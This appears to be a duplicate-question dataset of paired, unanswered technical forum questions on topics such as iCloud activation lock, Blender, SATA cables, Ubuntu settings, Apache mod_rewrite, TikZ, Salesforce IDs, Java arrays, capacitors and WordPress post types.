I forgot my pin to my phone so I hooked it to my computer to do an update/restore.  When the update/restore was done, my phone is now icloud locked and I'm getting this screen:    I can't remember what email I used for this but my question is:  can "t*****@m*****.com" only be equal to something like   tjones@mjones.com (i.e., 5 characters where the asterisks are representing the number of characters)?  Or can it be:  tjohnson123214@mjohnson25345342343@co.uk   (i.e., (1) are the asterisks only a place-holder for any length of text? And (2) must it end in .com or was apple being lazy in how they designed this screen?)  Note this was updated to iOS 9.1 and the phone is an iPhone 4s.

I bought a used iPhone 4.  The previous owner re-set the phone, but did not remove the device from their iCloud.  It is asking me for their iCloud information when I try to set-up the phone.  I don't have contact with the previous owner anymore.  Is there a way to remove the device from their iCloud so I can use a new one?


I believe the answer is $m = \lceil \sqrt[d]n \rceil$ or  $\lfloor \sqrt[d]n \rfloor$.  Can anyone help me?

How would you figure out this?  $x^y = z$  How do you find out $y$ if you know $x$ and $z$ ?


Learning Blender 2.8. Frosting with sprinkles Object appears in object mode but not in render. Any help would be appreciated.  Another note is that when I toggle to edit mode on the mug or plate I can see the object in edit mode. But when I toggle to edit mode on frosting with sprinkles. I doesn't show up in edit mode.

Just started out Blender, and as my first project, I made Blender Guru's donuts. The problem is, when I go rendering, there are A MASSIVE amount of sprinkles, quite different from the Viewport. Here are some screenshots:      You can find the file ! Any help is appreciated!


I've just received some SATA 3 6GB/s cables that I ordered last week, and it struck me how ordinary they look when compared to normal standard SATA cables.  My PCI-E SATA3 card is yet to arrive.  My question is, would a standard SATA cable have the same transfer speeds as my SATA 3 6GB/s cables? Question is similar to , but however it doesn't have an answer.  This question isn't asking 'are all SATA cables compatible with SATA 3', it's asking whether SATA 2 and SATA 3 transfer speeds are the same.

I have a HP Compaq de5700 Small Form Factor desktop computer, and I am looking to upgrade it's hard drive.  When I open up the box, it clearly has available SATA connectors on the motherboard, but no indication as to which SATA version (1, 2, or 3).  The hard drive I am considering is a  SATA 3.  My concern is that if the motherboard also supports SATA 3 and I use an old SATA cable (v1 or v2), might there be problems?  This is a bare drive, so I don't expect that a cable will come with it, and I have not been able to find the manual for this machine.  Thanks.


Is it possible to change default greeter in Ubuntu 17.10?

The  in 14.04 [EDIT ] don't work in 16.04. The "custom" background shows for a split second and then fades to the Ubuntu one. So, how do I change the login screen background in 16.04?  [Edit: this post is not a duplicate because all other related questions specifically refer to previous versions of Ubuntu, and the solutions to those do not apply here (as they do not work on 16.04).]


Can i use the iPad pro as my only machine for becominb a full stack web developer? I currently use a pc and from what i know about web development for now can be done on iPad but can i do more complicated stuff like make web apps on iPad?

The iPad is my preferred computing device when I'm on the go, be it commuting or traveling. Sometimes I've got a Bluetooth keyboard with me, and sometimes I don't. So this may be crazy, but I would like to use my iPad for full-fledged web development and programming, and want I to know what my options are.   seems to be nearly perfect for this in concept except for a fatal flaw: the web interface does not fully work with iPad browsers Safari or Chrome. You cannot, for example, double click to open files.  What other options do I have? Ideally I would like to have command line access to my editor of choice (Vim), and be able to use web debugging tools like the developer tools in Chrome.


I have created an .htaccess file with  the following code in order to achieve this  Options +FollowSymLinks RewriteEngine on RewriteCond %{HTTP_HOST} ^example.lk[nc] RewriteRule ^(.*)$ http://www.example.lk/$1 [r=301,nc]   but following  doesn't redirect to www.example.lk it failed and   [example.lk is only for example]

This is a  about Apache's mod_rewrite.   Changing a request URL or redirecting users to a different URL than the one they originally requested is done using mod_rewrite. This includes such things as:   Changing HTTP to HTTPS (or the other way around) Changing a request to a page which no longer exist to a new replacement. Modifying a URL format (such as ?id=3433 to /id/3433 ) Presenting a different page based on the browser, based on the referrer, based on anything possible under the moon and sun. Anything you want to mess around with URL   Everything You Ever Wanted to Know about Mod_Rewrite Rules but Were Afraid to Ask!  How can I become an expert at writing mod_rewrite rules?   What is the fundamental format and structure of mod_rewrite rules? What form/flavor of regular expressions do I need to have a solid grasp of? What are the most common mistakes/pitfalls when writing rewrite rules? What is a good method for testing and verifying mod_rewrite rules? Are there SEO or performance implications of mod_rewrite rules I should be aware of? Are there common situations where mod_rewrite might seem like the right tool for the job but isn't? What are some common examples?   A place to test your rules  The  web site is a great place to play around with your rules and test them. It even shows the debug output so you can see what matched and what did not.


This is a code I try to use to animate a proof of Pythagoras theorem : \documentclass[tikz]{standalone}  \begin{document}  \foreach \t in {0,0.2,...,1}{%   \begin{tikzpicture}[rounded corners = 0.3pt,opacity=0.5]     \newcommand\lc{10cm};     \newcommand\anga{37};     \coordinate (A) at (0,0);     \coordinate (B) at (\lc,0);     \coordinate (C) at (\lc,\lc);     \coordinate (D) at (0,\lc);     \coordinate (E) at     ({\lc*cos(\anga)*cos(\anga)},{\lc*cos(\anga)*sin(\anga)});     \coordinate (F) at     ({\lc-\lc*cos(\anga)*sin(\anga)},{\lc*cos(\anga)*cos(\anga)});     \coordinate (G) at     ({\lc-\lc*cos(\anga)*cos(\anga)},{\lc-\lc*cos(\anga)*sin(\anga)});     \coordinate (H) at     ({\lc*cos(\anga)*sin(\anga)},{\lc-\lc*cos(\anga)*cos(\anga)});     \filldraw[very thick,black,fill=blue!50!white,draw=black] (A) --     (B) -- (E) -- cycle;        \filldraw[very thick,black,fill=orange,draw=black] (B) -- (C) --     (F) -- cycle;     \begin{scope}[yshift=-\lc*\t]       \filldraw[very thick,black,fill=green!50!white,draw=black]        (C) -- (D) -- (G) -- cycle;     \end{scope}     \filldraw[very thick,black,fill=red!50!white,draw=black] (D) --     (A) -- (H) -- cycle;      \filldraw[very thick,black,fill=yellow,draw=black] (E) -- (F) --     (G) -- (H) -- cycle;    \end{tikzpicture} }  \end{document}  Problem is : the green triangle is not shifted down... I tried applying the transformation to each point of the triangle with "++()" (even to the "cycle"), sometimes, but not always, the triangle simply disappear... Where did I go wrong ? Thanks for any help.

To my understanding of the documentation, the scope block should transform all coordinates. However, in the following example, only circles themselves are scaled, but not their centers: black circles are without yscale, red ones are with yscale=.5, and are centered at the same points (a), (b):    What is the problem? Am I misunderstanding the docs?  \documentclass{minimal} \usepackage{tikz} \begin{document}     \tikz{         \coordinate (a) at (0,0);         \coordinate (b) at (0,1);         \draw (a) circle (.5);         \draw (b) circle (.5);         \begin{scope}[red,yscale=.5]             \draw (a) circle (.5);             \draw (b) circle (.5);         \end{scope}     } \end{document}


Just installed Ubuntu 15.10 alongside windows 10. Touchpad generally works (clicking, dragging, moving cursor) but two-finger scroll does not work.  Using Asus Zenbook UX305UA. I've seen some other threads with different Zenbook models and different Ubuntu versions, and the packages people have suggested don't work.   I think I have an Elantech touchpad, because I see:  $ grep -i pad /proc/bus/input/devices N: Name="Elan Touchpad"   In addition, it looks like the system is not recognizing that it is a touchpad. In System Preferences->Mouse and Trackpad, I see "Mouse" but not "Trackpad".  It was suggested that my question is a duplicate, but the proposed duplicate is for a different machine. The fact that the answer to the other question does not work for me confirms that the difference between the models is meaningful, and that the answer to this question will be different.  As requested in comments, output of xinput is:  ⎡ Virtual core pointer                      id=2    [master pointer  (3)] ⎜   ↳ Virtual core XTEST pointer                id=4    [slave  pointer  (2)] ⎜   ↳ PixArt USB Optical Mouse                  id=9    [slave  pointer  (2)] ⎜   ↳ Elan Touchpad                             id=11   [slave  pointer  (2)] ⎣ Virtual core keyboard                     id=3    [master keyboard (2)]     ↳ Virtual core XTEST keyboard               id=5    [slave  keyboard (3)]     ↳ Power Button                              id=6    [slave  keyboard (3)]     ↳ Video Bus                                 id=7    [slave  keyboard (3)]     ↳ Sleep Button                              id=8    [slave  keyboard (3)]     ↳ USB2.0 HD UVC WebCam                      id=10   [slave  keyboard (3)]     ↳ Asus WMI hotkeys                          id=12   [slave  keyboard (3)]     ↳ AT Translated Set 2 keyboard              id=13   [slave  keyboard (3)]

After installing ubuntu on this machine I cannot two-finger/side scroll is there a way of simply mending this? I have already tried the settings.


Hi I have to fetch current users created records in a report. For that I have a field userid__c in a custom object which is storing user SF id (18 digit) and when I am checking userid__c=$user.id it is always returning false but when i am changing the 18 digit to 15 digit id then it is returning true. How can i fix this?

I need to evaluate the current user running a flow. Someone suggested I use the Global Variable {!User.Id}, but it's returning a 15 digit Id. I need to compare the current user with the Account owner. The Account Owner field is returning an 18 digit id. Is there another way to evaluate the current user in my flow and compare it to an Account owner?   The above resolution doesn't really work for my purposes for evaluating a user if I can't compare the user to the Account Owner ID. In the above example, the Account Owner will never = the current user as it is comparing a 15 digit id to a 18 digit id.  Is there a way turn the User ID from the Global Variables into 18 digits? Or vice versa, make the Account Owner ID return as 15 digits? Thanks so much!


I don't want to have to keep reloaded a log file manually, I want to automatically see my logs as they come in.  Apparently, VIM has this feature built in, something called autoread, but I can't get it to work in Ubuntu  I can run  sudo vi ~/.vimrc   to edit vim's config file like so:   set number  set autoread   The number argument works perfectly. autoread doesn't work at all.  Any ideas or hacks? I want VIM to automatically scroll the bottom of the file when a file it's viewing is updated as well.

Is there any console- or window-based text editor that automatically reloads file changed on disk without prompting anything?


Suppose $g: \mathbb R_{\ge 0}\to \mathbb R_{\ge 0}$ is a continuous bijective function. Prove that the series $$\sum_{k\ge 1}\frac{kg(x^2)}{1+k^3[g(x^2)]^2}$$ is not uniformly convergent on $\mathbb R$.  If I knew the sum of the series, I could use the negation of the definition of the uniform convergence of partial sums, but since I don't know the  limit of partial sums (and how to find one), I cannot do this.  How can I proceed?

Let $f:[0,\infty) \rightarrow [0,\infty]$ be a continuous bijection and the series  $\sum\limits_{k=1}^{\infty}\dfrac{kf(x^2)}{1+k^3f(x^2)^2}$. Prove that the series converges uniformly on $[\epsilon, \infty)$ when $\epsilon>0$ and not converge uniformly on $\mathbb{R}$. I tried using M-test for the first part so I suppose to prove $f$ is a increasing function. It seems to be very difficult. Please give me a hand. Thank you in advance for your help.


this is what i have so far int[] startInts = Arrays.copyOfRange(myInts, count+1, myInts.length); // first half of array int[] endInts = Arrays.copyOfRange(myInts, count+1, myInts.length); // other half of array  int[] newInts = new int[startInts.length + endInts.length]; System.arraycopy(startInts, 0, newInts, 0, startInts.length); System.arraycopy(endInts, 0, newInts, startInts.length, endInts.length);  myInts = newInts;  But all this does is give me a number. It doesn't really merge the two arrays into one array. Any help with how to do this. Solution int[] startInts = Arrays.copyOfRange(myInts, myInts[0], index); // first half of array         int[] endInts = Arrays.copyOfRange(myInts, count+1, myInts.length); // other half of array          System.out.println(Arrays.toString(startInts));         System.out.println(Arrays.toString(endInts));                  int[] newInts = new int[startInts.length + endInts.length];         System.arraycopy(startInts, 0, newInts, 0, startInts.length);         System.arraycopy(endInts, 0, newInts, startInts.length, endInts.length);

I need to concatenate two String arrays in Java.  void f(String[] first, String[] second) {     String[] both = ??? }   What is the easiest way to do this?


Consider a parallel plate capacitor, composed of square plated with length $s$.  The plates are originally length $a$ apart, where $a$ << $s$.  One of the plates are then pivoted in the middle, such that one of the sides are $𝛿$ closer and the opposite side are $𝛿$ further from the other plate.  Assuming that $𝛿$ << $a$, how do I calculate the charge density on the tilted plate, as a function of position?

What is the formula for capacitance of two non parallel plates at an angle with each other?If the plates were parallel then the value can be calculated as (PermittivityX area of one plate)/distance between them.But what happens in case the plates are tilted at an angle?The question came to mind while trying to understand electrostatic separator.What would be the derivation of the formula for capacitance of two non parallel plates placed at an angle? I did get a method from  Equation 6 from the above link above helps but it is independent of the length of the plates which doesn't seem likely.


Reading "0.22" as "o point two two" should make "an" correct. Reading "0.22" as "zero point two two" should make "a" correct.  Can the author decide? Are both correct or is only one of them correct?  Before posting this, I checked  and Google - but googling that proved difficult.

I have often heard people say 101, as one-zero-one, and also as one-oh-one. Which is correct, and why? Does the difference between British English and American English have to do something with it?


I am doing a cloth simulation. After baking I realize that the required simulation comes to an end in the 40th frame itself but it keeps simulating till the 250th frame. Now I am able to change the end-frame of this simulation in the GUI simply by changing the value in the end frame box in the timeline. I tried to implement this from script by the following commands:  bpy.context.scene.frame_start = 1 bpy.context.scene.frame_end = 40   But this is not working. When I run this, the end frame in the timeline still is 250 and Blender is baking all the 250 frames. So, to sum it up, how can I set the start frame and end frame for a bake from script (not GUI in blender)?

I want to manipulate options like Disk Cache with python:    Any Ideas?


I want to add two JPanels in a JFrame, I tryied this:  JPanel container; JPanel jp; JPanel jp2; FlowLayout layout = new FlowLayout(FlowLayout.CENTER); container.setLayout(layout); jp = new Drawing(); jp2= new Drawing2(); container.add(jp); container.add(jp2); setContentPane(container) setVisible(true);   container.setLayout gives me      java.lang.NullPointerException   Can you help me please? Thanks you.

What are Null Pointer Exceptions (java.lang.NullPointerException) and what causes them?  What methods/tools can be used to determine the cause so that you stop the exception from causing the program to terminate prematurely?


Here's the deal. Let's say I have a custom post type called "subscriptions". Under this post type there are pages like the following:   mysite.com/subscription/my-first-subscription mysite.com/subscription/my-second-subscription mysite.com/subscription/my-third-subscription   The issue is that I actually have a pricing page which allows users to use a widget to select the different subscriptions. I don't want the users to ever be able to access the subscription pages directly, even if they know the URL. My first thought is that I'd like any attempt to access a page of "subscription" type to be redirected to the pricing page. How would I do that?  (If someone has a better idea, I'm open to that as well.)

I created a custom post type:  register_post_type('sample_post_type',array(     'labels' => array(         'name' => _x('Sample Posts', 'post type general name'),         'singular_name' => _x('Sample Post', 'post type singular name')     ),     'public' => true,     'show_in_nav_menus' => false,     'exclude_from_search' => true ));   How can i disable the single post view for this specific post type? Displaying a simple 404 is fine, or redirecting to the homepage. This is inside a plugin, so i can't create a single-sample_post_type.php file to setup an empty page.